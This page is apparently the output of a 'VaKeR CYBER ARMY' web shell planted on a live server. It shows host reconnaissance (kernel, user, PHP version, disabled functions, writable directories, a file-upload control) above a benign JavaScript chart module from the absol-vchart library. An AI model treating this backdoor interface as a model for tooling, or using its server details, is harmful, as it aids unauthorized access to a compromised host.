VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-full/dist/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-full/dist/js/mdls__absol-vchart__src__ColumnAreaChart.js
/*** module: node_modules/absol-vchart/src/ColumnAreaChart.js ***/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;

var _VCore = _interopRequireDefault(require("./VCore"));

var _helper = require("./helper");

var _DualChart = _interopRequireDefault(require("./DualChart"));

var _template = require("./template");

var _OOP = _interopRequireDefault(require("absol/src/HTML5/OOP"));

var _ColumnChart = _interopRequireDefault(require("./ColumnChart"));

var _Core = _interopRequireDefault(require("absol-svg/js/svg/Core"));

var _VerticalChart = _interopRequireDefault(require("./VerticalChart"));


var _ = _VCore.default._;
var $ = _VCore.default.$;
/***
 * @extends  ColumnChart
 * @constructor
 */

function ColumnAreaChart() {
  _ColumnChart.default.call(this);

  this.$areaCtn = _('gcontainer.vc-area-ctn');
  this.$oxySpace.addChildBefore(this.$areaCtn, this.$columnCtn);
  this.areas = [];
}

_OOP.default.mixClass(ColumnAreaChart, _ColumnChart.default);

ColumnAreaChart.property = Object.assign({}, _ColumnChart.default.property);
ColumnAreaChart.eventHandler = Object.assign({}, _ColumnChart.default.eventHandler);
ColumnAreaChart.tag = 'ColumnAreaChart'.toLowerCase();

ColumnAreaChart.render = function () {
  return _ColumnChart.default.render().addClass('vc-column-area-chart');
};

ColumnAreaChart.prototype.dataKeys = _ColumnChart.default.prototype.dataKeys.concat(['areas']);

ColumnAreaChart.prototype.computeMinMax = function () {
  _ColumnChart.default.prototype.computeMinMax.call(this);

  this.computedData.min = this.areas.reduce(function (minValue, area) {
    return area.values.filter(_helper.isNumber).reduce(function (minValue, value) {
      if (!(0, _helper.isNumber)(value)) return minValue;
      return Math.min(minValue, value);
    }, minValue);
  }, this.computedData.min);
  this.computedData.max = this.areas.reduce(function (maxValue, area) {
    return area.values.filter(_helper.isNumber).reduce(function (maxValue, value) {
      if (!(0, _helper.isNumber)(value)) return maxValue;
      return Math.max(maxValue, value);
    }, maxValue);
  }, this.computedData.max);
};

ColumnAreaChart.prototype.computeNotes = function () {
  return this.areas.map(function (area) {
    return {
      text: area.name,
      type: 'rect',
      color: area.color
    };
  });
};

ColumnAreaChart.prototype._createArea = _DualChart.default.prototype._createArea;
ColumnAreaChart.prototype._createAreaNote = _DualChart.default.prototype._createAreaNote;

ColumnAreaChart.prototype._createAreas = function () {
  this.$areaCtn.clearChild();
  this.$areas = this.areas.map(function (area, i) {
    return this._createArea(area, area.color).addTo(this.$areaCtn);
  }.bind(this));
};

ColumnAreaChart.prototype.createContent = function () {
  _ColumnChart.default.prototype.createContent.call(this);

  this._createAreas();
};

ColumnAreaChart.prototype._updateAreaPosition = function () {};

ColumnAreaChart.prototype.updateBodyPosition = function () {
  _ColumnChart.default.prototype.updateBodyPosition.call(this);

  this._updateAreaPosition();

  this._updateAreaPosition();
};

ColumnAreaChart.prototype._updateAreaPosition = function () {
  var oxSegmentLength = this.computedData.oxSegmentLength;
  this.$areas.map(function ($area, i) {
    var values = this.areas[i].values;
    var subAreas = (0, _helper.getSubNumberArray)(values);
    $area.begin();
    subAreas.forEach(function (subArea) {
      var start = subArea.start;
      var values = subArea.values;

      if (values.length > 1) {
        $area.moveTo(oxSegmentLength * (start + 0.5), -1);

        for (var xi = 0; xi < values.length; ++xi) {
          $area.lineTo(oxSegmentLength * (start + xi + 0.5), -this.mapOYValue(values[xi]));
        }

        $area.lineTo(oxSegmentLength * (start + values.length - 1 + 0.5), -1);
        $area.closePath();
      } else {
        $area.moveTo(oxSegmentLength * (start + 0.25), -1);
        $area.lineTo(oxSegmentLength * (start + 0.25), -this.mapOYValue(values[0]));
        $area.lineTo(oxSegmentLength * (start + 0.75), -this.mapOYValue(values[0]));
        $area.lineTo(oxSegmentLength * (start + 0.75), -1);
        $area.closePath();
      }
    }.bind(this));
    $area.end();
  }.bind(this));
};

_Core.default.install(ColumnAreaChart);

var _default = ColumnAreaChart;
exports.default = _default;

VaKeR 2022